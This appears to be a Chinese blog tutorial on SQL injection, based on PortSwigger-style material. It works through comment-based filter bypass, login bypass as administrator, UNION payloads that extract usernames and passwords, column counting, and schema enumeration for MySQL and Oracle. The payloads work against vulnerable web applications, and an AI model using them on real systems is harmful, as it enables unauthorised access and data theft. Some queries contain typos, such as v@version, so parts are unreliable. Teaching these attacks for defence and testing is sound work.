First Blood
SQL 注入是什么?
SQL 注入是一种网络安全漏洞,允许攻击者干扰应用程序对其数据库的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或应用程序本身能够访问的任何其他数据。在许多情况下,攻击者可以修改或删除此数据,从而持续更改应用程序的内容或行为。
在某些情况下,攻击者可能会升级 SQL 注入攻击,以损害基础服务器或其他后端基础架构,或执行拒绝服务攻击。
注入实例
在不同情况下会出现各种各样的 SQL 注射漏洞、攻击和技术。一些常见的 SQL 注射示例包括:
检索隐藏数据
考虑显示不同类别产品的购物应用程序。
当用户单击页面中分类栏的 “Gift” 类别时,他们的浏览器会请求类似这种 URL:
https://insecure-website.com/products?category=Gifts
后台查询语句为:
SELECT * FROM products WHERE category = 'Gifts AND released = 1
语句返回 products 表中符合 WHERE 条件的记录的的所有字段。released=1 表示尚未上架的。
如果后台没有进行防护,直接使用 URL 的参数 Gift
这个字符串去查询,就有注入风险。
注入类似:
https://insecure-website.com/products?category=Gifts'--
这可能导致后台执行下面的查询语句:
SELECT * FROM products WHERE categoty = 'Gifts'-- AND released = 1
** 关键是两个折线 --
在 SQL 中表示注释的意思,这样注释后面的” 查询语句 “就会作废 **。这意味着所有产品都显示在显示中,包括未上架的产品。
更进一步,还可以显示所有分类的商品
https://insecure-website.com/products?category=Gifts'+OR+1=1--
可能导致后台执行下面的查询语句:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
因为是 OR,每一个记录都会满足 1=1
,所以,会返回所有记录!
注意,后台将 URL 参数作为 SQL 查询条件时,有没有自带引号,上述注入是假设,带了单引号。
覆盖应用逻辑
有一个登陆逻辑是:直接根据用户的输入的用户名,密码去查询,有记录返回则登陆成功,否则视为失败。
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
此时,可以利用注释,去覆盖这个用逻辑。用户名填 administrator'--
,密码随便输入。
SELECT * FROM users WHERE username = 'administrator'--'AND password =''
这个语句会返回 admin 这个用户的记录,符合上面登陆成功的逻辑!
获取其他表的数据 - UNION
** 如果 SQL 查询的结果在应用程序的响应中返回,攻击者可以利用 SQL 注入漏洞从数据库中的其他表中检索数据。**
这是使用 UNION
关键字完成的,该关键字允许您执行额外的 Select
查询并将结果附加到原始查询中。
例如,如果软件完全根据用户的输入,执行下面的查询:
SELECT name, description FROM products WHERE category = 'Gifts'
可以将输入构造为:
' UNION SELECT username,password FROM users--
返回
注意,UNION 查询需要满足:
- UNION 后选择的记录的列数要与前面选择的列数,前后一致,否则 SQL 查询本身会报错!
- 每个列中的数据类型必须在各个查询之间兼容。
要执行 SQL UNION 攻击,您需要确保您的攻击满足这两个 ** 前提条件 **。
这通常涉及找出
- 从原始正常查询返回了多少列?
- 从原始查询返回的哪些列属于合适的数据类型,用来保存注入查询后的结果?
下面进行解答
find 列数
有两种有效方法来确定从原始查询返回的列数。
ORDER BY
第一种方法涉及注入一系列 ORDER BY 索引
子句并增加指定列索引,直到发生错误。
'ORDER BY 1--' ORDER BY 2--
' ORDER BY 3--
...
此时,列数就是发生错误的 ORDER BY
的索引减一。
实际应用中,应用程序实际上可能在 HTTP 响应中的返回数据库错误,也可能返回通用错误,或者只是返回中没有任何结果。
只要能够检测到应用程序响应中的某些差异,则可以推断从查询返回的列数
UNION SELECT NULL
第二种方法,在 UNION
后 SELECT
一定数量的 NULL
'UNION SELECT NULL--' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--
只有当 NULL 个数与前面的 SELECT 查询的列数一致,才会返回结果,否则 SQL 查询会报错。当查询的结果正确返回时,会多一条记录,每一列都是 NULL。
幸运的话,会在返回的结果中看出不同个数 NULL 的区别。
使用 NULL 获取列数需要注意:
- 使用
NULL
作为从注入的SELECT
查询返回的值的原因是,每个列中的数据类型必须在原始查询和注入查询之间兼容。由于NULL
可转换为所有常用的数据类型,因此使用NULL
可最大限度地提高列计数正确时有效载荷成功的可能性。 - Oracle 数据库,每个 SQL 的 SELECT 都需要带着 FROM。Oracle 有一个内建的表
dual
,所以针对 Oracle 数据库,使用' UNION SELECT NULL FROM dual--
- MySQL 数据库的注释后面可能需要再加一个空格
find 具有指定数据类型的列
执行 SQL UNION 注入攻击的原因是能够从注注入攻击的查询中检索结果。
通常,要检索的有趣数据将以字符串形式显示,因此您需要在原始查询结果中找到一个或多个列,其数据类型是或与字符串数据兼容。
在确定所需列数后,您可以通过提交一系列带有 payload 的 UNION 查询来检测每个列是否可以保留字符串数据,将字符串值依次放入每个列中。
例如,如果查询返回四列,您将提交:
'UNION SELECT'a',NULL,NULL,NULL--' UNION SELECT NULL,'a',NULL,NULL--
'UNION SELECT NULL,NULL,'a',NULL--' UNION SELECT NULL,NULL,NULL,'a'--
如果未发生错误,并且应用程序的响应包含一些其他内容(包括注入的字符串值),则相关列适用于检索字符串数据。
我在 MYSQL8 试了一下,就算类型不对也不会报错。。。
在单列中获取多个值
假设查询只返回一列,你想要的查询又需要两列,怎么办?
您可以通过将值串联在一起,轻松地在此单列中检索多个值,最好包括一个合适的分离器,以便您区分组合值。例如,在 Oracle 数据库上,您可以提交输入:
'UNION SELECT username ||'~~' || password FROM users--
在 Oracle 数据库中,||
作用是连接字符串。此注入会连接 username 和 password 字段,以 ~~
分开。
不同数据库的字符串连接方式不同。
MYSQL 是:
'UNION SELECT concat(username,'~', password) from users--
综合
- 获取查询得到的具体列数(UNION SELECT NULL 或者 ORDER BY 123)
- 确定哪些列的数据类型是可利用的(UNION SELECT ‘a’,NULL,NULL,NULL)
- 联合查询,可利用的列数不足则进行字符串拼接。
直接检索数据库信息
在初步识别到存在 SQL 注入漏洞后,获取有关 ** 数据库本身 ** 的一些信息通常很有用。这些信息往往可以为进一步利用铺平道路。
您可以查询数据库的版本详细信息。这样做的方式取决于数据库类型,因此您可以从任何技术中推断出 ** 数据库类型 **。
对于 Oracle 数据库:
SELECT * FROM v$version;
您还可以确定存在哪些数据库表,以及它们包含哪些列。
例如,在大多数数据库中,您可以执行以下查询来列出表:
SELECT * FROM information_schema.tables
查询数据库版本和类型
在利用 SQL 注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库的内容,包括它包含的表格和列。
- MySQL:
select @@version
- Oracle:
select * from v@version
,此表只有一行记录,包含banner
等字段。
数据库内容
大多数数据库(** 甲骨文除外 **)都有一组称为 information schema
的视图,提供有关数据库的信息。
具体就是表 information_schema.tables
查询到表后,可以查询表 information_schema.columns
来继续查询指定的表的列
至于 Oracle,使用 SELECT * FROM all_tables
获得所有表
再继续使用 SELECT * FROM all_tab_columns WHERE table_name = "USERS"
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。